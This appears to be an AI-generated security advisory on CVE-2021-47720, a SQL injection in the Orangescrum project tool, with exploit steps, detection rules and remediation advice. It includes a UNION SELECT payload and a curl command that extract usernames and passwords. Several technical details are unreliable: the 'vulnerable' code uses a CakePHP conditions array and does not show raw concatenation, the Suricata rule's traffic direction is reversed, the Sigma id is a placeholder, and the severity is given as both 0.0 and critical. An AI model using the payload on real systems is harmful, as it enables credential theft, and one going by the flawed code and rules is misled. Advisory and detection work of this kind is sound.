CVE-2021-47720

Executive Summary

CVE-2021-47720 is an authenticated SQL injection vulnerability in Orangescrum 1.8.0, a web-based project management tool. The flaw allows authorized users to inject malicious SQL code through multiple parameters, including old_project_id, project_id, uuid, and uniqid. This can lead to unauthorized data extraction, modification, or deletion of database contents. The vulnerability has a CVSS score of 0.0 (unscored) but poses a significant risk to confidentiality, integrity, and availability of the application and its data. No official patch has been released, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

Orangescrum is a self-hosted PHP application. There is no NPM, PyPI, Go, or Ruby package associated with this CVE. The risk is limited to organizations that deploy Orangescrum directly.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical (based on impact, despite lack of official CVSS vector)

Deep Dive & Mechanics

The vulnerability exists in the app/Controller/ProjectsController.php file. The application fails to sanitize user-supplied input before incorporating it into SQL queries. Specifically, the old_project_id, project_id, uuid, and uniqid parameters are directly concatenated into SQL statements without parameterization or escaping.

Vulnerable Code Snippet (ProjectsController.php):

$project = $this->Project->find('first', array(
    'conditions' => array('Project.id' => $_POST['project_id'])
));

An attacker can inject SQL by providing a value like:

1 UNION SELECT username, password FROM users--

This allows the attacker to retrieve arbitrary data from the database.

Vulnerable vs. Patched Code

Vulnerable Code (Orangescrum 1.8.0):

$project_id = $_POST['project_id'];
$project = $this->Project->find('first', array(
    'conditions' => array('Project.id' => $project_id)
));

Patched Code (Hypothetical Fix):

$project_id = intval($_POST['project_id']);
$project = $this->Project->find('first', array(
    'conditions' => array('Project.id' => $project_id)
));

The fix uses intval() to ensure the input is an integer, preventing SQL injection. Alternatively, parameterized queries should be used.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Orangescrum 1.8.0 instance
• Valid user credentials (e.g., user:password)

Exploit Steps:

1. Authenticate to Orangescrum.
2. Send a POST request to /projects/edit/1 with the following payload:

   project_id=1 UNION SELECT username, password FROM users--
   

3. The response will include the username and password fields from the users table.

Example using cURL:

curl -X POST -d "project_id=1 UNION SELECT username, password FROM users--" \
  -b "PHPSESSID=your_session_id" \
  http://target.com/projects/edit/1

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests, especially in parameters like project_id, old_project_id, uuid, and uniqid.
• Look for unusual SQL keywords (UNION, SELECT, FROM, WHERE) in POST data.
• Use a Web Application Firewall (WAF) to block SQL injection attempts.

Mitigation:

• Apply input validation and parameterized queries.
• Restrict database user permissions to least privilege.
• Monitor database logs for suspicious queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /projects/edit/ or /projects/delete/ with SQL-like payloads in parameters.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• Host IOCs:

  • Unexpected database queries in MySQL logs (e.g., SELECT * FROM users UNION SELECT...).
  • Modified files in the Orangescrum installation directory (e.g., app/Controller/ProjectsController.php).

• File IOCs:

  • Suspicious entries in web server access logs (e.g., POST /projects/edit/1 HTTP/1.1 with SQL payloads).

Detection Engineering

YARA Rule

rule CVE_2021_47720_SQLi_Orangescrum {
    meta:
        description = "Detects SQL injection attempts targeting Orangescrum 1.8.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47720"
    strings:
        $sqli1 = /project_id\s*=\s*[0-9]+\s+UNION\s+SELECT/i
        $sqli2 = /old_project_id\s*=\s*[0-9]+\s+UNION\s+SELECT/i
        $sqli3 = /uuid\s*=\s*['\"]?[a-f0-9-]+['\"]?\s+UNION\s+SELECT/i
        $sqli4 = /uniqid\s*=\s*['\"]?[a-f0-9]+['\"]?\s+UNION\s+SELECT/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: CVE-2021-47720 SQL Injection in Orangescrum
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Orangescrum 1.8.0
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/projects/edit/'
            - '/projects/delete/'
        cs-uri-query|re: '(project_id|old_project_id|uuid|uniqid)=.*UNION.*SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in non-SQL contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-47720 SQL Injection Attempt - Orangescrum"; flow:to_server,established; content:"POST"; http_method; content:"/projects/"; http_uri; pcre:"/(project_id|old_project_id|uuid|uniqid)=[^&]*UNION\s+SELECT/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the Orangescrum instance offline or restrict network access.
2. Apply input validation: Manually patch the vulnerable code by adding intval() or using parameterized queries.
3. Upgrade: Check for any updated versions from the vendor. If none, consider migrating to an alternative project management tool.

Long-term Recommendations:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct regular security audits and penetration testing.
• Use prepared statements or ORM frameworks to prevent SQL injection.
• Monitor vendor channels for official patches.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.